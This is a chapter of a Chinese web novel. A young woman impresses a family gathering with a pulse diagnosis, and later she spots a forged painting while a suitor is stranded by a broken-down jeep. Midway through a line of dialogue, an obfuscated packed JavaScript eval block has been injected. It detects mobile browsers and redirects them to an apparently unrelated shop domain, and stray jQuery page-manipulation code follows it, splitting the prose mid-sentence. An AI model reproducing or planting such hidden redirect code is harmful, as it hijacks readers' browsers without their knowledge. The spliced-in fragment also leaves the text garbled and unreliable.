陈双双让温羲和给她把脉,也没当真。
她心里头还寻思了下,等会儿要是温羲和说的不准,那自己给点面子,当一回托。
然后,她就听见温羲和说道:“你最近一个月都在熬夜吧?”
嗯?!
陈双双吓了一跳,赶紧抽回手。
“嗯,熬夜?!”陈海看向陈双双,“双双,你不是说你学校里都早睡早起吗?”
“但你的脉象告诉我,你最近都是凌晨三点过后才入睡的。”温羲和盯着陈双双,语气带着些关心:“这作息很伤身体,尤其是肝胆。”
陈双双惊得脱口而出:“你怎么知道?!”
话一出口,她立刻捂住嘴——这下是不打自招了。
陈海瞪了她一眼,看向温羲和,“是啊,这你又是怎么看出来的?”
“她的脉象显示肝胆气虚。按照子午流注,子时胆经当令,丑时肝经当令。长期在这两个时辰不入睡,肝胆得不到休养,自然虚弱。”温羲和解释完,又看向陈双双,补充道:
“而且,你最近是不是遇到过让你非常生气的事,怒气一下冲上来,导致心口发闷,有种堵着的感觉?”
陈双双瞪大眼睛,眼珠子都要掉出来了。
不是。
这都能看出来?
她不由自主地点头,声音都弱了几分:“是……有时候是觉得心口不太舒服,闷闷的。”
“是不是到了中午,这种感觉就会缓解一些?”温羲和再次确认。
陈双双点头如捣蒜。
温羲和对她温和地笑了笑,拉过她的手,用拇指不轻不重地按压她手腕内侧的内关穴和掌心的劳宫穴。
说来也怪,就这么按揉了几下,陈双双只觉得胸中那股盘踞不散的郁结之气,竟真的散开不少,整个人都轻快了许多。
“怎么样,感觉好点儿没?”陈老爷子关切地问。
陈双双捂着心口仔细感受了下,脸上满是不可思议:“神了!真的舒服多了!”
“按压这几处穴位可以宁心安神、宽胸理气。你主要还是熬夜太狠,伤了阳气,只要把作息调整回来,就没什么大问题了。”温羲和叮嘱道。
“行,真的太谢谢您了!”陈双双刚道完谢,就接收到父亲警告的眼神,立刻缩了缩脖子,保证道:“我发誓,以后一定早早睡觉!”
“小温同志,还真有两下子。”陈海看向温羲和的目光里,欣赏之意又多了几分。
陈老爷子也抚须点头,笑容欣慰:“你爷爷以前信里还总谦虚,说你没学到他几分本事。这个老温头,跟我还藏着掖着。”
何翠蓝脸色不太好看,正想说什么,客厅的电话铃响了起来。
陈双双如蒙大赦,立刻起身:“我去接!”
她小跑着过去接起电话,没一会儿回来时,脸上带着几分为难,对陈老爷子道:“爷爷,是大堂哥打来的。他说他的车在半路上熄火了,一时半会儿修不好,怕赶不回来,让咱们先吃,别等他。”
温建国夫妻俩愣了愣。
今儿个的饭局最重要的莫过于温羲和跟陈赓两人。
陈赓说来不了,那岂不是不给他们面子吗?
何翠蓝语气里带着嗔怪,“陈赓这孩子也真是,这么重要的日子怎么还迟到。”
“来不了咱们就先吃,横竖现在大家都在北京,年轻人哪天自己出去见个面,也一样。”
陈老爷子没搭理何翠兰,拄着拐杖起来,道:“咱们就不等他了,先开饭,羲和,你跟你叔叔婶婶都别客气。”
晚饭很丰盛,温羲和爱吃鱼,便多吃了点儿,温建国夫妻俩多少有些赌气,索性放开吃。
与此同时,城郊某条路上。
“这破车早不坏晚不坏,偏偏这时候熄火?!”
陈赓烦躁地踢了一脚吉普车的轮胎,看向身旁的表弟,眼神带着审视。
表弟一脸无辜:“哥,这车可是您自己开出来的,我哪知道它会趴窝?再说了,今晚那饭局您不是本来也不想去吗?这下正好,如您所愿。”
陈赓看着天色渐渐昏暗,夕阳像颗咸蛋黄般挂在街角,将他挺拔的身影拉得老长。
他憋着一股闷气,道:“你当我是什么人?答应的事我绝不会食言。车你在这儿看着,我走回去。”
“啊?”表弟傻眼了,“哥,这儿离大院远着呢!这个点儿公交车都没了!”
陈赓却只是背对着他,挥了挥手,迈开长腿,身影融入暮色之中。
陈家客厅。
饭后,为了缓和气氛,陈老爷子特意从书房取出一幅卷轴,对众人道:“这是老李前几天送来的,说是陈师曾的画。他还卖关子,说画里藏了个谜题,考我能不能看出来。正好今晚大家都在,都来瞧瞧,帮老头子我参详参详。”
“还藏了谜题?爸,您跟李伯伯真是越老越像小孩儿了。”陈海笑着调侃。
陈老爷子白了他一眼:“我们这些老家伙,跟前也没个小孩子逗趣,可不就得自己找点乐子?”
他说这话时,意有所指地扫了一眼旁边默不作声的陈肃直。
陈肃直仿佛没听见,神色自若地走上前,接过展开的画轴端详片刻,道:“这画,有点意思。”
“陈师曾……是不是民初那位大名鼎鼎的画家,齐白石的伯乐?”白云秀适时开口,声音温婉。
陈老爷子有些惊讶地看向她,摸着胡须点头:“没错,你还了解这个?”
“我母亲是画画的,我从小耳濡目染,知道一些皮毛,谈不上深入了解。”白云秀谦逊地说,目光落回画上,“不过,这幅画的谜题,我还真没看出来。”
何翠蓝此刻只觉得扬眉吐气,心情舒畅不少。她赞赏地看了白云秀一眼:“知道这些已经很了不起了。你这个年纪,要读书,学戏,还能涉猎这些知识,非常难得。”
她话锋一转,看向一直安静端着茶杯、凝视画面的温羲和,笑着问:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581717|187265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小温啊,这幅花鸟图,你看出什么门道来了没有?”
温羲和闻言,从沉思中回过神。
她放下茶杯,走到陈肃直身旁,轻轻拉起画轴,更仔细地看了看,然后抬头,语出惊人:
“我好像知道谜题是什么了。”
??
温建国差点儿呛住。
他紧张地看向温羲和,急忙冲她使眼色。
这孩子怎么这么傻,这画什么的,他们能懂吗?夸几句好看就得了,何必抢这个风头出?
陈老爷子惊讶地看向温羲和,“哦,你说说看什么,要是说得对,这幅画我送你了。”
陈师曾的画虽然不如齐白石值钱,却也是有价值的。
一时间,陈宏等人看向温羲和的眼神,都有些复杂。
看来,陈老爷子是真的很喜欢这个小姑娘。
“这画是假的。”
温羲和说道。
她说完这话,众人脸上都露出惊愕的表情。
说实在的,今晚上温羲和已经足够让他们惊讶了。
即便是陈老爷子,也早就做好准备,见到一个畏畏缩缩、束手束脚的女孩子。
可没想到,温羲和不但表现得大大方方,更很有自己的想法。
但即便如此,老爷子也没想到温羲和这么敢说。
“为什么这么说?”
陈肃直看向温羲和。
他一开口,刚想嘲讽几句的何翠蓝默默地闭上嘴,只是看向温羲和的眼神,多少带着看人哗众取宠的意思。
温羲和指向画旁的题字:“这些字的笔触带着一股金石之气,不像文人字迹的飘逸,反倒有几分武将用笔的刚猛。而且,笔法略显生涩,神韵不足,应该是习字年头不长,只得其形,未得其神。”
她这么一说,众人都围拢过来仔细观看。
陈海左看右看,也没看出所谓的“金石之气”和“有形无神”。
他推了推身边的陈宏:“哥,你是文化人,你看出点什么没?”
陈宏推了推眼镜,凝神细看:“小温这么一说……这笔迹似乎确实不够流畅,有些顿挫之感。”
“没错。”温羲和看向陈宏,肯定地点点头,“运笔有明显的顿挫迟疑。如果我没猜错,画这幅画的人,当时正患咳嗽,但情况不严重,估计现在已经好了。”
??
众人再次看向温羲和,眼神已经像是在听天方夜谭了。
光看字,还能看出人家当时生没生病?
陈老爷子兴趣更浓了:“还看出什么?”
温羲和顿了下,眼神掠过一丝狡黠,道:“我还看出画这幅画的人,可能名叫洪成涛。”
“啊?洪爷爷?”陈双双惊呼,“要是洪爷爷的话,那还真对得上!他以前就是带兵打仗的!”
陈老爷子歪着头想了想,猛地一拍大腿:“我这就打电话问问老李那个老小子,看他是不是跟我玩了这么一出‘偷梁换柱’!”